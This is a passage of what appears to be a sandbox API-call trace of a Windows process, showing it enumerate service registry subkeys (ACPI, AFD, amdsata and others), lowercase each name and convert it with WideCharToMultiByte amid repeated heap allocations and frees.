lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0214.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a00, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0214.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0214.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0214.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1bb0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0214.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0214.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0214.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0214.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.207] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.207] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0214.207] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.207] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a00, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.208] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.208] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0214.208] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.208] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.209] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.209] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a00, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.209] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1bb0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.209] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.209] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.209] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0214.209] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a00, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1bb0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.210] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.210] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.210] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0214.210] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0214.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.211] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0214.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0214.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1bb0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0214.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.211] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0214.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0214.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0214.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.211] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0214.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.211] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0214.211] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.211] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.211] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.212] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1bb0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0214.212] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0214.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0214.212] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0214.212] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bb0 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0214.212] RtlFreeHeap (HeapHandle=0x2520000, 